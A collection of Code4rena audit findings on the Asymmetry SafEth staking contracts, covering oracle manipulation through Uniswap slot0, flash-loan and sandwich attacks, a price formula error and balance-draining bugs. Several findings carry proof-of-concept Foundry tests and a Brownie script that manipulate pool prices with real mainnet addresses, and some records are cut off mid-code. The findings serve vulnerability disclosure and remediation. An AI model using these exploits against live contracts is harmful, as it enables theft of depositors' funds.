xanoutas/solidity-security-findings huggingface dataset:
Reth deposit conditionally relies on unreliable price source.
Audit: 2023-03-asymmetry-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2023-03-asymmetry/blob/44b5cd94ebedc187a08884a7f685e950e987261c/contracts/SafEth/derivatives/Reth.sol#L156-L204
https://github.com/code-423n4/2023-03-asymmetry/blob/44b5cd94ebedc187a08884a7f685e950e987261c/contracts/SafEth/derivatives/Reth.sol#L211-L216


# Vulnerability details

## Impact
Deposits are exposed to unnecessary risk by using Uni v3 Weth/Reth Pool as an oracle. It is also possible for staking to be inoperable due to over/underflow.

## Proof of Concept
In the event of !poolCanDeposit(msg.value) in Reth.sol deposit(), this derivative uses a singular hard-coded pool to retrieve a price from uniswap v3. In the case of a single volatile event in that pool, a user will receive far less SafEth than expected in return. These calculations are also exposed to "non divisible by 0" occurrences due the spot price.

## Recommended Mitigation Steps
Get the TWAP Price or use an external oracle like Chainlink.

Example TWAP:
```
function consult(address pool, uint32 secondsAgo)
        external
        view
        returns (int24 arithmeticMeanTick, uint128 harmonicMeanLiquidity)
    {
        require(secondsAgo != 0, 'BP');

        uint32[] memory secondsAgos = new uint32[](2);
        secondsAgos[0] = secondsAgo;
        secondsAgos[1] = 0;

        (int56[] memory tickCumulatives, uint160[] memory secondsPerLiquidityCumulativeX128s) =
            IUniswapV3Pool(pool).observe(secondsAgos);

        int56 tickCumulativesDelta = tickCumulatives[1] - tickCumulatives[0];
        uint160 secondsPerLiquidityCumulativesDelta =
            secondsPerLiquidityCumulativeX128s[1] - secondsPerLiquidityCumulativeX128s[0];

        arithmeticMeanTick = int24(tickCumulativesDelta / int56(int32(secondsAgo)));
        // Always round to negative infinity
        if (tickCumulativesDelta < 0 && (tickCumulativesDelta % int56(int32(secondsAgo)) != 0)) arithmeticMeanTick--;

        // We are multiplying here instead of shifting to ensure that harmonicMeanLiquidity doesn't overflow uint128
        uint192 secondsAgoX160 = uint192(secondsAgo) * type(uint160).max;
        harmonicMeanLiquidity = uint128(secondsAgoX160 / (uint192(secondsPerLiquidityCumulativesDelta) << 32));
    }

    function getQuoteAtTick(
        int24 tick,
        uint128 baseAmount,
        address baseToken,
        address quoteToken
    ) external pure returns (uint256 quoteAmount) {
        uint160 sqrtRatioX96 = TickMath.getSqrtRatioAtTick(tick);

        // Calculate quoteAmount with better precision if it doesn't overflow when multiplied by itself
        if (sqrtRatioX96 <= type(uint128).max) {
            uint256 ratioX192 = uint256(sqrtRatioX96) * sqrtRatioX96;
            quoteAmount = baseToken < quoteToken
                ? FullMath.mulDiv(ratioX192, baseAmount, 1 << 192)
                : FullMath.mulDiv(1 << 192, baseAmount, ratioX192);
        } else {
            uint256 ratioX128 = FullMath.mulDiv(sqrtRatioX96, sqrtRatioX96, 1 << 6
REth token price can be manipulated
Audit: 2023-03-asymmetry-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2023-03-asymmetry/blob/main/contracts/SafEth/derivatives/Reth.sol#L241


# Vulnerability details

## Impact
Currently, all deposit operations split the received ETH between derivatives. One of them is rETH, trading on Pool 0xa4e0faA58465A2D369aa21B3e42d43374c6F9613 with around ~1500 ETH in liquidity for each side.

The price calculation for splitting deposits into derivatives is made using Uniswaps' V3 `sqrtPriceX96` as expressed in the following function

```solidity
function poolPrice() private view returns (uint256) {
    address rocketTokenRETHAddress = RocketStorageInterface(
        ROCKET_STORAGE_ADDRESS
    ).getAddress(
            keccak256(
                abi.encodePacked("contract.address", "rocketTokenRETH")
            )
        );
    IUniswapV3Factory factory = IUniswapV3Factory(UNI_V3_FACTORY);
    IUniswapV3Pool pool = IUniswapV3Pool(
        factory.getPool(rocketTokenRETHAddress, W_ETH_ADDRESS, 500)
    );
    (uint160 sqrtPriceX96, , , , , , ) = pool.slot0();
    return (sqrtPriceX96 * (uint(sqrtPriceX96)) * (1e18)) >> (96 * 2);
}
```

However, these price can be manipulated, letting a user inflating the supply in the contract.

## Proof of Concept

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import "./fixtures/SafEthSetup.sol";

contract SafEthTest is SafeEthSetup {
    address RETH_TOKEN_ADDRESS = 0xae78736Cd615f374D3085123A210448E74Fc6393;
    address W_ETH_ADDRESS = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
    address UNI_V3_FACTORY = 0x1F98431c8aD98523631AE4a59f267346ea31F984;

    function test_alterBalance() public {
        (bool success, ) = address(safEth).call{value: 1 ether}("");
        require(success);
        assertEq(safEth.totalSupply(), 0);
        assertEq(address(safEth).balance, 1 ether);
    }

    function uniswapV3SwapCallback(
        int256 amount0Delta,
        int256 amount1Delta,
        bytes memory data
    ) external {
        IERC20(RETH_TOKEN_ADDRESS).transfer(
            address(msg.sender),
            uint256(amount0Delta)
        );
    }

    function test_manipulateReth() public {
        // Random address with balance
        vm.startPrank(0xBA12222222228d8Ba445958a75a0704d566BF2C8);
        vm.label(0xBA12222222228d8Ba445958a75a0704d566BF2C8, "Attacker");
        IERC20(RETH_TOKEN_ADDRESS).transfer(address(this), 10_000 ether);
        vm.stopPrank();

        IUniswapV3Factory factory = IUniswapV3Factory(UNI_V3_FACTORY);
        IUniswapV3Pool pool = IUniswapV3Pool(
            factory.getPool(RETH_TOKEN_ADDRESS, W_ETH_ADDRESS, 500)
        );

        (uint160 sqrtPriceX96Before, , , , , , ) = pool.slot0();
        console.log(sqrtPriceX96Before);

        pool.swap(
            0xBA12222222228d8Ba445958a75a0704d566BF2C8,
            true,
            10_000 ether,
            4295128739 + 1,
            ""
        );
        (uint160 sqrtPriceX96, , , , , , ) = pool.slot0();

        console.log(sqrtPriceX96)
`poolPrice()` is vulnerable to price manipulation
Audit: 2023-03-asymmetry-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2023-03-asymmetry/blob/main/contracts/SafEth/derivatives/Reth.sol#L228-L242


# Vulnerability details

## Impact
The output of `poolPrice()`, which is used to determine the price of rETH, can be manipulated to become extremely small or large. An attacker abuse this to gain large amounts of SafETH during staking.

## Vulnerability Details

In the `Reth` contract, `poolPrice()` contains the following code: 

[Reth.sol#L228-L242](https://github.com/code-423n4/2023-03-asymmetry/blob/main/contracts/SafEth/derivatives/Reth.sol#L228-L242)
```solidity
 function poolPrice() private view returns (uint256) {
    address rocketTokenRETHAddress = RocketStorageInterface(
        ROCKET_STORAGE_ADDRESS
    ).getAddress(
            keccak256(
                abi.encodePacked("contract.address", "rocketTokenRETH")
            )
        );
    IUniswapV3Factory factory = IUniswapV3Factory(UNI_V3_FACTORY);
    IUniswapV3Pool pool = IUniswapV3Pool(
        factory.getPool(rocketTokenRETHAddress, W_ETH_ADDRESS, 500)
    );
    (uint160 sqrtPriceX96, , , , , , ) = pool.slot0();
    return (sqrtPriceX96 * (uint(sqrtPriceX96)) * (1e18)) >> (96 * 2);
}
```

As seen above, `poolPrice()` calculates the price of `rETH` using `sqrtRatioX96`. 

However, this is unsafe as `slot0` is the most recent data point, and is extremely easy to manipulate. This makes `poolPrice()` vulnerable to price manipulation. 

As `poolPrice()` is used to determine the price of rETH during staking, an attacker can abuse this vulnerability to unfairly gain large amounts of SafETH when staking.

## Proof of Concept

Whem the rETH/WETH pool has low liquidity, an attacker can manipulate `sqrtPriceX96` to become extremely large by swapping a huge amount of WETH for rETH. In contrast, the attacker can also swap rETH for WETH to make `sqrtPriceX96` become extremely small.

The foundry test below demonstrates how `sqrtPriceX96` can be manipulated:

```solidity
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import "forge-std/Test.sol";
import "../src/interfaces/IWETH.sol";
import "../src/interfaces/rocketpool/RocketTokenRETHInterface.sol";
import "../src/interfaces/uniswap/IUniswapV3Factory.sol";
import "../src/interfaces/uniswap/IUniswapV3Pool.sol";
import "../src/interfaces/uniswap/UniswapMath.sol";
import "../src/interfaces/uniswap/ISwapRouter.sol";

contract UniswapTest is Test {
    
    address public constant UNISWAP_POOL_ADDRESS = 0xa4e0faA58465A2D369aa21B3e42d43374c6F9613;
    address public constant RETH_ADDRESS = 0xae78736Cd615f374D3085123A210448E74Fc6393;
    address public constant W_ETH_ADDRESS = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
    address public constant UNISWAP_ROUTER = 0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45;
    address public constant UNI_V3_FACTORY = 0x1F98431c8aD98523631AE4a59f267346ea31F984;

    address public constant ATTACKER = address(0x1337);

    RocketTokenRETHInterface public RETH;
    IWETH public
All the FRX_ETH tokens of SfrxEth contract can be drained by a malicious user.
Audit: 2023-03-asymmetry-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2023-03-asymmetry/blob/44b5cd94ebedc187a08884a7f685e950e987261c/contracts/SafEth/derivatives/SfrxEth.sol#L60


# Vulnerability details

## Impact
The impact of this finding is severe, as it can result in the complete loss of FRX_ETH tokens held by the SfrxEth contract. This could lead to a significant financial loss for the contract and its users.

## Proof of Concept
For demonstration purpose, Alice is sending 9 FRX_ETH to the SfrxEth (or in real world example admins of protocol want to transfer STETH for rebalancing the pools) immediately after that anybody who call withdraw will be able to drain the whole STETH token inside SfrxEth contract. For this example hacked deposits 0.5 ether and withdraw in in one transaction and will gain initial `0.5 ether` + `9 ether` as native ether.

```solidity
    function testSfrxEth() public {
        // alice calls
        vm.startPrank(alice);
        IERC20(SFRX_ETH_ADDRESS).transfer(address(sfrxEth), IERC20(STETH_TOKEN).balanceOf(alice));
        vm.stopPrank();

        // hacker calls
        safEth.stake{value : 0.5 ether}();
        safEth.unstake(0.5 ether);
    }
````
## Tools Used
Manual, Foundry

## Recommended Mitigation Steps
You can revise unstake function of SafEth to only return the correct amount belong to user or revising the withdraw function of SrfxEth contract.
the depositor can get sanwich attack when call `stake` in SafEth and `deposit` in RETH
Audit: 2023-03-asymmetry-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2023-03-asymmetry/blob/main/contracts/SafEth/derivatives/Reth.sol#L156-L185


# Vulnerability details

## Impact
Detailed description of the impact of this finding.
users who stake eth from call `function stake()` in https://github.com/code-423n4/2023-03-asymmetry/blob/main/contracts/SafEth/SafEth.sol#L63 will get sandwich attack, which users will lose money
## Proof of Concept
Provide direct links to all referenced code in GitHub. Add screenshots, logs, or any other relevant proof that illustrates the concept.
```
import brownie


def main():

    MIN_TICK = -887270
    MAX_TICK = -MIN_TICK

    UNISWAP_NPM = "0xC36442b4a4522E871399CD717aBDD847Ab11FE88"
    UNISWAP_ROUTER = "0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45"
    router = brownie.interface.ISwapRouter(UNISWAP_ROUTER)
    WETH = "0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2"
    RETH = "0xae78736cd615f374d3085123a210448e74fc6393"

    deployer = brownie.accounts[0]
    safe_eth_impl = brownie.SafEth.deploy({"from": deployer})
    proxy_admin = brownie.ProxyAdminImpl.deploy({"from": deployer})
    safe_eth_proxy = brownie.TransparentUpgradeableProxyImpl.deploy(
        safe_eth_impl,
        proxy_admin,
        safe_eth_impl.initialize.encode_input("123", "456"),
        {"from": deployer},
    )

    reth_impl = brownie.Reth.deploy({"from": deployer})
    reth_proxy = brownie.interface.IAny(
        brownie.TransparentUpgradeableProxyImpl.deploy(
            reth_impl,
            proxy_admin,
            reth_impl.initialize.encode_input(safe_eth_proxy),
            {"from": deployer},
        )
    )

    # add derivative
    safe_eth_proxy = brownie.interface.IAny(safe_eth_proxy)
    safe_eth_proxy.addDerivative(reth_proxy, 100, {"from": deployer})

    # print max slippage (10 ** 16 == 1%)
    print(reth_proxy.maxSlippage())

    # user 1 deposit with 1 eth
    tester_1 = brownie.accounts[1]
    safe_eth_proxy.stake({"from": tester_1, "value": 5 * 10**18})

    hacker = brownie.accounts.at(
        "0xcA8Fa8f0b631EcdB18Cda619C4Fc9d197c8aFfCa", force=True
    )
    rich_reth = brownie.accounts.at(
        "0x202d0bEc720743e0d41503E19B93298B0Dad6531", force=True
    )

    weth = brownie.interface.IWETH(WETH)
    reth = brownie.interface.IWETH(RETH)
    reth.transfer(hacker, 30 * 10**18, {"from": rich_reth})
    weth.deposit({"from": hacker, "value": 1700 * 10**18})
    weth.approve(router, 2**256 - 1, {"from": hacker})

    balance_weth_hacker_before = weth.balanceOf(hacker)

    # manipulate pool (2 times, because runs too slow)
    # add liquidity when to prevent swap from revert
    npm = brownie.interface.IAny(UNISWAP_NPM)
    reth.approve(npm, 2**256 - 1, {"from": hacker})
    weth.approve(npm, 2**256 - 1, {"from": hacker})
    print(reth.balanceOf(hacker))
    print(weth.balanceOf(hacker))
    npm.mint(
        [
            reth,
            weth,
            500,
            800,
            MAX_TICK // 10 * 10,
            30 * 10
Reth flashloan attack
Audit: 2023-03-asymmetry-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2023-03-asymmetry/blob/44b5cd94ebedc187a08884a7f685e950e987261c/contracts/SafEth/derivatives/Reth.sol#L240


# Vulnerability details

## Impact

Using a flashloan to manipulate rETH/ETH price a hacker can receive more SafEth shares for the same amount of ether, thus draining all three derivative contracts (rETH, SfrxEth and WstEth).

## Proof of Concept


`Reth.poolPrice()` depends on UniswapV3 `pool.slot0()` which can be manipulated via flash loan:
```
(uint160 sqrtPriceX96, , , , , , ) = pool.slot0();
```
https://github.com/code-423n4/2023-03-asymmetry/blob/44b5cd94ebedc187a08884a7f685e950e987261c/contracts/SafEth/derivatives/Reth.sol#L240

`Reth.poolPrice()` is used in `Reth.ethPerDerivative()` in case if the new Rocket Pool balance exceeds a certain limit which is determined via `poolCanDeposit()` function:
```
function ethPerDerivative(uint256 _amount) public view returns (uint256) {
  if (poolCanDeposit(_amount))
    return
      RocketTokenRETHInterface(rethAddress()).getEthValue(10 ** 18);
  else return (poolPrice() * 10 ** 18) / (10 ** 18);
}
```
https://github.com/code-423n4/2023-03-asymmetry/blob/44b5cd94ebedc187a08884a7f685e950e987261c/contracts/SafEth/derivatives/Reth.sol#L211-L216

The `poolCanDeposit()` function checks if the current balance plus the user deposit is inside the Rocket Pool constraints:
```
return
  rocketDepositPool.getBalance() + _amount <=
  rocketDAOProtocolSettingsDeposit.getMaximumDepositPoolSize() &&
  _amount >= rocketDAOProtocolSettingsDeposit.getMinimumDeposit();
```
https://github.com/code-423n4/2023-03-asymmetry/blob/44b5cd94ebedc187a08884a7f685e950e987261c/contracts/SafEth/derivatives/Reth.sol#L147-L148

On the block number `16934718` on the Ethereum Mainnet the `getMaximumDepositPoolSize()` function returns a raw value `5000000000000000000000` which is equal to **5000 ETH**. The function `getMinimumDeposit` returns a raw value `10000000000000000` which is equal to 0.01 ETH.

Note that on block number `16934718` on the Ethereum Mainnet the Rocket Pool is already at its limit and `poolCanDeposit(amount)` returns `false` for any positive `amount`.

Also note that even if it wasn't at its limit a hacker would still be able to push it to the limit by taking flashloan and depositing a large value of rETH to Rocket Pool directly.

The REth derivative contract uses Uniswap V3 to determine the price and do swaps:
```
IUniswapV3Pool pool = IUniswapV3Pool(
  factory.getPool(rocketTokenRETHAddress, W_ETH_ADDRESS, 500)
);
```
https://github.com/code-423n4/2023-03-asymmetry/blob/44b5cd94ebedc187a08884a7f685e950e987261c/contracts/SafEth/derivatives/Reth.sol#L237-L240

This is the rETH/ETH pool at https://info.uniswap.org/#/pools/0xa4e0faa58465a2d369aa21b3e42d43374c6f9613

As of block `16934718` that pool TVL is ~1630.0 rETH and ~1300 ETH. The price of rETH can be push down by 90% by taking a flash loan of 1500 rETH from balancer.fi.

Let's consider a scenario in which a h
`sfrxETH.ethPerDerivative` is incorrect, leading to incorrect minting amount of `safETH`
Audit: 2023-03-asymmetry-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2023-03-asymmetry/blob/44b5cd94ebedc187a08884a7f685e950e987261c/contracts/SafEth/derivatives/SfrxEth.sol#L115-L117


# Vulnerability details

`SafeETH.stake()` allows users to stake `ETH` and be minted an amount of `safETH` that corresponds to the `ETH` value of the derivatives that resulted from their deposit.

The minting amount is based on:
-  `preDepositPrice`, which is a function of the total `safETH` minted and the `ETH` value of all the derivatives.
- `totalStakeValueEth`, which is the `ETH` value of the derivatives resulting from the deposit of the user

```solidity
98: uint256 mintAmount = (totalStakeValueEth * 10 ** 18) / preDepositPrice;
```

```solidity
71:     for (uint i = 0; i < derivativeCount; i++)
72:             underlyingValue +=
73:                 (derivatives[i].ethPerDerivative(derivatives[i].balance()) *
74:                     derivatives[i].balance()) /
75:                 10 ** 18;
```

```solidity
88: uint256 ethAmount = (msg.value * weight) / totalWeight;
89: 
90:             // This is slightly less than ethAmount because slippage
91:             uint256 depositAmount = derivative.deposit{value: ethAmount}();
92:             uint derivativeReceivedEthValue = (derivative.ethPerDerivative(
93:                 depositAmount
94:             ) * depositAmount) / 10 ** 18;
95:             totalStakeValueEth += derivativeReceivedEthValue;
```

The contract derives the `ETH` value of a derivative by calling its `ethPerDerivative` method.

The issue is that the `SfrxETH` one is incorrect: 

```solidity
File: SafEth/derivatives/SfrxEth.sol
115: return ((10 ** 18 * frxAmount) /
116:             IFrxEthEthPool(FRX_ETH_CRV_POOL_ADDRESS).price_oracle());
```

It divides the `frxAmount` by the `price` in `ETH` instead of multiplying it.

## Impact

The `price_oracle` (ie the price of `FRX_ETH` in `ETH`) at the time of this report is 0.998722182988258023 `ETH`.

Instead of returning `0.998722182988258023` `ETH per FRXETH`, the price returned by `ethPerDerivative` is currently `1.001279451917167439440`.

The price difference is currently minor, but if `frxETH` were to depeg from `ETH`, it would result in a higher discrepancy.

Direct consequences:

- the first depositor in `SafETH` is grieved, as they are minted an amount based on a fixed `preDepositPrice`, while all the other depositors mint will be inflated.
- A depeg of `frxETH` would allow new depositors to get a unfairly higher share of the `SafETH` pool than expected, grieving previous depositors.


## Tools Used

Manual Analysis


## Mitigation

```diff
File: SafEth/derivatives/SfrxEth.sol
-115: return ((10 ** 18 * frxAmount) /
+115: return ((10 ** 18 * frxAmount) *
116:             IFrxEthEthPool(FRX_ETH_CRV_POOL_ADDRESS).price_oracle());
```
All the STeth balance of WstEth contract can be drained by a malicious user.
Audit: 2023-03-asymmetry-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2023-03-asymmetry/blob/44b5cd94ebedc187a08884a7f685e950e987261c/contracts/SafEth/derivatives/WstEth.sol#L56


# Vulnerability details

## Impact
The impact of this finding is severe, as it can result in the complete loss of STeth tokens held by the WstEth contract. This could lead to a significant financial loss for the contract and its users.

## Proof of Concept
For demonstration purpose, Alice is sending 9 STETH to the WtEth (or in real world example admins of protocol want to transfer STETH for rebalancing the pools) immediately after that anybody who call withdraw will be able to drain the whole STETH token inside WtEth contract. For this example hacked deposits 0.5 ether and withdraw in in one transaction and will gain initial `0.5 ether` + `9 ether` as native ether.

```solidity
    function testWstEth() public {
        // alice calls
        vm.startPrank(alice);
        IWStETH(WST_ETH).unwrap(9 ether);
        IERC20(STETH_TOKEN).transfer(address(wstEth), IERC20(STETH_TOKEN).balanceOf(alice));
        console.log("BVA",IERC20(STETH_TOKEN).balanceOf(address(wstEth)));
        vm.stopPrank();

        // hacker calls
        safEth.stake{value : 0.5 ether}();
        safEth.unstake(0.5 ether);
    }
````
## Tools Used
Manual, Foundry

## Recommended Mitigation Steps
You can revise unstake function of SafEth to only return the correct amount belong to user or revising the withdraw function of WstEth contract.
Reth griefing
Audit: 2023-03-asymmetry-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2023-03-asymmetry/blob/44b5cd94ebedc187a08884a7f685e950e987261c/contracts/SafEth/derivatives/Reth.sol#L171-L175


# Vulnerability details

## Impact

The maximum slippage when buying rETH from the Uniswap V3 pool is calculated in Reth derivative contract by taking the current price in the Uniswap V3 pool at runtime, without taking into account the price at which the user sent the transaction to the mempool:
```
uint rethPerEth = (10 ** 36) / poolPrice();
uint256 minOut = ((((rethPerEth * msg.value) / 10 ** 18) *
    ((10 ** 18 - maxSlippage))) / 10 ** 18);
```
https://github.com/code-423n4/2023-03-asymmetry/blob/44b5cd94ebedc187a08884a7f685e950e987261c/contracts/SafEth/derivatives/Reth.sol#L171-L175

Thus, a malicious actor can create a sandwich of three transactions in which they first raise the price of rETH, then execute the user's `stake()` with a purchase of rETH at an unfavorable price, and then return the pool price to normal.

The victim will receive fewer shares than expected. Firstly, because the `underlyingValue` in the `stake()` function will increase due to the fact that `Reth.poolPrice()` will return an inflated value. Secondly, because `Reth.deposit()` will return a smaller amount of rETH when purchasing from the UniswapV3 pool.


## Tools Used

x


## Recommended Mitigation Steps


The slippage should be calculated and controlled by the user before submitting a `stake()` transaction to mempool. For example, `minOut` can be passed as an argument to the `stake()` function.